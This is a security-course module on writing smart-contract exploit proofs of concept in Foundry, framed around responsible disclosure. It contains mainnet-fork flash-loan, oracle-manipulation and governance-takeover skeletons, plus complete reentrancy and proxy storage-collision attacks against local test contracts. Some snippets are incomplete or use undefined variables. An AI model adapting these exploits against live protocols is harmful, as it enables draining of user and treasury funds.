Module 06 — Exploit Development
Difficulty: Advanced
Finding a vulnerability is only half the job. A professional security researcher must demonstrate exploitability through a working Proof of Concept. This module teaches you how to write clean, reproducible exploit PoCs in Foundry — the industry standard for Web3 exploit development.
6.1 PoC Structure in Foundry
Standard PoC Template
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
| // SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "forge-std/console.sol";
// Import interfaces for the target protocol
interface ITargetProtocol {
function deposit(uint256 amount) external;
function withdraw(uint256 amount) external;
function balanceOf(address) external view returns (uint256);
}
interface IERC20 {
function balanceOf(address) external view returns (uint256);
function approve(address, uint256) external returns (bool);
function transfer(address, uint256) external returns (bool);
}
contract ExploitPoC is Test {
// Protocol addresses (mainnet fork)
address constant TARGET = 0x1234567890123456789012345678901234567890;
address constant TOKEN = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; // USDC
ITargetProtocol target;
IERC20 token;
address attacker = makeAddr("attacker");
function setUp() public {
// Fork mainnet at a specific block (before the exploit)
vm.createSelectFork(vm.envString("ETH_RPC_URL"), 18_500_000);
target = ITargetProtocol(TARGET);
token = IERC20(TOKEN);
// Fund the attacker
vm.deal(attacker, 10 ether);
deal(address(token), attacker, 1_000_000e6); // 1M USDC
}
function test_exploit() public {
// === BEFORE STATE ===
console.log("=== BEFORE EXPLOIT ===");
console.log("Attacker USDC:", token.balanceOf(attacker));
console.log("Target USDC:", token.balanceOf(address(target)));
// === EXPLOIT ===
vm.startPrank(attacker);
// Step 1: Setup
token.approve(address(target), type(uint256).max);
// Step 2: Execute exploit
// ... exploit logic here ...
vm.stopPrank();
// === AFTER STATE ===
console.log("\n=== AFTER EXPLOIT ===");
console.log("Attacker USDC:", token.balanceOf(attacker));
console.log("Target USDC:", token.balanceOf(address(target)));
// === ASSERTIONS ===
// Prove the exploit worked
assertGt(token.balanceOf(attacker), 1_000_000e6, "Attacker should have profited");
}
}
|
1
2
| # Run the exploit PoC
forge test --mt test_exploit -vvvv --fork-url $ETH_RPC_URL --fork-block-number 18500000
|
6.2 Flash Loan Attack PoC
Complete Flash Loan + Oracle Manipulation PoC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
| // SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "forge-std/console.sol";
interface IFlashLoanProvider {
function flashLoan(
address receiver,
address[] calldata tokens,
uint256[] calldata amounts,
bytes calldata params
) external;
}
interface IVulnerableLending {
function deposit(address token, uint256 amount) external;
function borrow(address token, uint256 amount) external;
function getPrice(address token) external view returns (uint256);
}
interface IUniswapV2Router {
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory);
}
interface IERC20 {
function balanceOf(address) external view returns (uint256);
function approve(address, uint256) external returns (bool);
function transfer(address, uint256) external returns (bool);
}
contract FlashLoanExploit is Test {
// Mainnet addresses
IFlashLoanProvider constant AAVE = IFlashLoanProvider(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
IUniswapV2Router constant ROUTER = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
address constant VULNERABLE_LENDING = address(0); // Replace with target
address attacker;
address attackContract;
function setUp() public {
vm.createSelectFork(vm.envString("ETH_RPC_URL"), 18_500_000);
attacker = makeAddr("attacker");
vm.deal(attacker, 100 ether);
}
function test_flashLoanAttack() public {
vm.startPrank(attacker);
// Deploy attack contract
AttackContract attack = new AttackContract();
console.log("=== PRE-ATTACK ===");
console.log("Attacker ETH:", attacker.balance / 1 ether, "ETH");
// Execute the attack
attack.executeAttack();
console.log("\n=== POST-ATTACK ===");
console.log("Attacker profit:", address(attack).balance / 1 ether, "ETH");
vm.stopPrank();
}
}
contract AttackContract {
IFlashLoanProvider constant AAVE = IFlashLoanProvider(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
function executeAttack() external {
// Step 1: Take flash loan
address[] memory tokens = new address[](1);
tokens[0] = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // WETH
uint256[] memory amounts = new uint256[](1);
amounts[0] = 10_000 ether; // Borrow 10,000 ETH
AAVE.flashLoan(address(this), tokens, amounts, "");
}
// Aave calls this function during the flash loan
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool) {
// Step 2: We now have 10,000 ETH — manipulate the oracle
// ... dump tokens on Uniswap to crash price
// ... borrow against manipulated collateral on vulnerable lending protocol
// Step 3: Repay flash loan
IERC20(assets[0]).approve(msg.sender, amounts[0] + premiums[0]);
// Step 4: Keep the profit
return true;
}
}
|
6.3 Reentrancy Exploit Implementation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
| contract ReentrancyExploit is Test {
VulnerableBank target;
AttackReentrancy attacker;
function setUp() public {
target = new VulnerableBank();
// Fund the target with victims' deposits
address victim1 = makeAddr("victim1");
vm.deal(victim1, 10 ether);
vm.prank(victim1);
target.deposit{value: 10 ether}();
address victim2 = makeAddr("victim2");
vm.deal(victim2, 10 ether);
vm.prank(victim2);
target.deposit{value: 10 ether}();
// Deploy attack contract
attacker = new AttackReentrancy(address(target));
}
function test_reentrancy() public {
console.log("Target balance before:", address(target).balance / 1 ether, "ETH");
console.log("Attacker balance before:", address(attacker).balance / 1 ether, "ETH");
// Attack with 1 ETH to steal 20 ETH
vm.deal(address(this), 1 ether);
attacker.attack{value: 1 ether}();
console.log("\nTarget balance after:", address(target).balance / 1 ether, "ETH");
console.log("Attacker balance after:", address(attacker).balance / 1 ether, "ETH");
// Target should be drained
assertEq(address(target).balance, 0, "Target should be drained");
assertEq(address(attacker).balance, 21 ether, "Attacker should have all funds");
}
}
contract AttackReentrancy {
VulnerableBank public target;
uint256 public attackCount;
constructor(address _target) {
target = VulnerableBank(_target);
}
function attack() external payable {
require(msg.value >= 1 ether, "Need at least 1 ETH");
target.deposit{value: 1 ether}();
target.withdraw();
}
receive() external payable {
if (address(target).balance >= 1 ether) {
attackCount++;
target.withdraw(); // Re-enter!
}
}
}
|
6.4 Price Oracle Manipulation PoC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
| contract OracleManipulationPoC is Test {
// Addresses on mainnet fork
IUniswapV2Pair pair;
IVulnerableLending lending;
IERC20 tokenA;
IERC20 tokenB;
function setUp() public {
vm.createSelectFork(vm.envString("ETH_RPC_URL"), 18_500_000);
// Initialize protocol contracts
}
function test_oracleManipulation() public {
address attacker = makeAddr("attacker");
// Step 1: Record price before manipulation
uint256 priceBefore = lending.getPrice(address(tokenA));
console.log("Price before:", priceBefore);
vm.startPrank(attacker);
// Step 2: Large swap to move spot price
deal(address(tokenA), attacker, 1_000_000 ether);
tokenA.approve(address(router), type(uint256).max);
address[] memory path = new address[](2);
path[0] = address(tokenA);
path[1] = address(tokenB);
router.swapExactTokensForTokens(
1_000_000 ether, 0, path, attacker, block.timestamp
);
// Step 3: Price is now manipulated
uint256 priceAfter = lending.getPrice(address(tokenA));
console.log("Price after manipulation:", priceAfter);
// Step 4: Exploit the manipulated price
// ... borrow against inflated collateral value ...
// Step 5: Swap back to restore price
// Step 6: Repay flash loan, keep profit
vm.stopPrank();
assertLt(priceAfter, priceBefore / 2, "Price should have dropped significantly");
}
}
|
6.5 Governance Takeover PoC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
| contract GovernanceAttackPoC is Test {
IGovernor governor;
IVotesToken token;
ITimelock timelock;
function setUp() public {
vm.createSelectFork(vm.envString("ETH_RPC_URL"), 18_500_000);
// Initialize governance contracts
}
function test_governanceTakeover() public {
address attacker = makeAddr("attacker");
// Step 1: Flash loan governance tokens
// ... borrow tokens from Aave ...
// Step 2: Self-delegate voting power
vm.prank(attacker);
token.delegate(attacker);
// Step 3: Create malicious proposal
address[] memory targets = new address[](1);
targets[0] = address(treasury);
uint256[] memory values = new uint256[](1);
values[0] = 0;
bytes[] memory calldatas = new bytes[](1);
calldatas[0] = abi.encodeCall(treasury.transfer, (attacker, treasury.balance()));
vm.prank(attacker);
uint256 proposalId = governor.propose(targets, values, calldatas, "Drain treasury");
// Step 4: Advance time past voting delay
vm.roll(block.number + governor.votingDelay() + 1);
// Step 5: Vote
vm.prank(attacker);
governor.castVote(proposalId, 1); // Vote FOR
// Step 6: Advance past voting period
vm.roll(block.number + governor.votingPeriod() + 1);
// Step 7: Queue in timelock
governor.queue(targets, values, calldatas, keccak256("Drain treasury"));
// Step 8: Wait for timelock, then execute
vm.warp(block.timestamp + timelock.getMinDelay() + 1);
governor.execute(targets, values, calldatas, keccak256("Drain treasury"));
// Step 9: Repay flash loan
console.log("Treasury drained:", address(treasury).balance == 0);
}
}
|
6.6 Signature Forgery PoC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
| contract SignatureReplayPoC is Test {
VulnerableRelay relay;
function setUp() public {
relay = new VulnerableRelay();
deal(address(relay), 100 ether);
}
function test_signatureReplay() public {
// Create a signer
uint256 signerPk = 0xA11CE;
address signer = vm.addr(signerPk);
// Fund the signer's account in the relay
deal(address(relay), 100 ether);
vm.deal(signer, 1 ether);
vm.prank(signer);
relay.deposit{value: 10 ether}();
// Sign a withdrawal for 10 ETH
bytes32 hash = keccak256(abi.encodePacked(uint256(10 ether)));
(uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPk, hash);
bytes memory signature = abi.encodePacked(r, s, v);
// First withdrawal — legitimate
address relayer = makeAddr("relayer");
vm.prank(relayer);
relay.withdraw(10 ether, signature);
console.log("Signer balance after 1st withdraw:", relay.balances(signer));
// REPLAY — submit the same signature again!
// If the contract doesn't track nonces, this works
vm.prank(relayer);
relay.withdraw(10 ether, signature); // Should succeed if vulnerable
console.log("Signer balance after replay:", relay.balances(signer));
}
}
|
6.7 Proxy Storage Collision Exploitation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| contract ProxyCollisionPoC is Test {
Proxy proxy;
Implementation impl;
function setUp() public {
impl = new Implementation();
proxy = new Proxy(address(impl));
}
function test_storageCollision() public {
// The implementation's slot 0 = proxy's slot 0 (implementation address!)
console.log("Proxy implementation before:", proxy.implementation());
// Call setAdmin on the implementation through the proxy
// This writes to slot 0 — which is the implementation address in the proxy!
address attacker = makeAddr("attacker");
vm.prank(attacker);
(bool success, ) = address(proxy).call(
abi.encodeCall(Implementation.setAdmin, (attacker))
);
require(success, "Call failed");
// Now the proxy's implementation pointer has been overwritten!
console.log("Proxy implementation after:", proxy.implementation());
// The proxy now delegates to the attacker's address (or garbage)
// Attacker can deploy malicious code there and take over
assertEq(proxy.implementation(), attacker, "Implementation should be overwritten");
}
}
|
6.8 Writing a Complete Attack Contract
Best Practices for PoC Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| /**
* @title ExploitPoC_ProtocolName_VulnerabilityType
* @notice Proof of Concept for [vulnerability description]
* @dev Run: forge test --mt test_exploit -vvvv --fork-url $ETH_RPC
*
* VULNERABILITY SUMMARY:
* - Type: [e.g., Reentrancy / Oracle Manipulation / Access Control]
* - Impact: [e.g., Complete drain of protocol funds]
* - Prerequisites: [e.g., Flash loan, none, admin key]
* - Affected contracts: [list addresses]
*
* ATTACK FLOW:
* 1. Flash loan X tokens from Aave
* 2. Deposit tokens to manipulate oracle
* 3. Borrow against inflated collateral
* 4. Repay flash loan, keep profit
*/
contract ExploitPoC is Test {
// ... structured exploit code with comments at each step ...
}
|
6.9 Responsible Disclosure — Packaging PoC
What to Include in a Security Report PoC
1
2
3
4
5
6
7
8
9
10
| exploit_poc/
├── README.md # Summary, severity, steps to reproduce
├── foundry.toml # Foundry configuration
├── .env.example # Required environment variables
├── test/
│ └── ExploitPoC.t.sol # The exploit test
├── src/
│ └── interfaces/ # Interface files for target contracts
└── script/
└── Simulate.s.sol # Optional: deployment script for simulation
|
README.md Template for PoC Package
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| # Security Finding: [Title]
## Severity: Critical
## Summary
[One paragraph describing the vulnerability]
## Impact
- Funds at risk: $X
- Affected users: All depositors
- Attack cost: ~$Y gas + flash loan fee
## Steps to Reproduce
1. Clone this repository
2. Copy `.env.example` to `.env` and add your RPC URL
3. Run: `forge test --mt test_exploit -vvvv`
## Root Cause
[Technical explanation]
## Recommended Fix
[Specific code change recommendation]
|
6.10 Estimating Attack Profit/Loss
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| function test_profitCalculation() public {
uint256 attackerBalBefore = token.balanceOf(attacker);
// ... execute exploit ...
uint256 attackerBalAfter = token.balanceOf(attacker);
uint256 gasCost = tx.gasprice * gasleft(); // Approximate
int256 profit = int256(attackerBalAfter) - int256(attackerBalBefore);
console.log("Gross profit:", uint256(profit) / 1e18, "tokens");
console.log("Flash loan fee:", flashLoanAmount * 5 / 10000, "tokens (0.05%)");
console.log("Gas cost:", gasCost / 1e18, "ETH");
console.log("Net profit (approx):", uint256(profit - int256(flashLoanFee)));
}
|
6.11 Common Foundry Cheatcodes Reference
| Cheatcode |
Purpose |
Example |
vm.prank(addr) |
Spoof msg.sender for next call |
vm.prank(owner); contract.pause(); |
vm.startPrank(addr) |
Spoof msg.sender for all calls until stopPrank |
Block of calls as specific user |
vm.deal(addr, val) |
Set ETH balance |
vm.deal(attacker, 1000 ether); |
deal(token, addr, val) |
Set ERC20 balance |
deal(address(usdc), attacker, 1e6); |
vm.warp(timestamp) |
Set block.timestamp |
vm.warp(block.timestamp + 1 days); |
vm.roll(blockNum) |
Set block.number |
vm.roll(block.number + 100); |
vm.store(addr, slot, val) |
Write storage directly |
Manipulate internal state |
vm.load(addr, slot) |
Read storage directly |
Inspect hidden state |
vm.sign(pk, digest) |
Sign with private key |
Generate signatures |
vm.addr(pk) |
Get address from private key |
Match signer to address |
makeAddr(name) |
Create labeled address |
address alice = makeAddr("alice"); |
vm.expectRevert() |
Next call should revert |
Assert access control works |
vm.createSelectFork() |
Fork a network |
Test against live state |
vm.label(addr, name) |
Label in traces |
Better debugging output |
console.log() |
Print during test |
Debug values |
Key Takeaway: A well-written PoC is as important as finding the vulnerability. It transforms a theoretical issue into an undeniable demonstration. Always structure your PoCs with clear before/after state logging, precise comments at each exploit step, and assertions that prove the attack succeeded. The goal is for anyone to run forge test and immediately understand the vulnerability.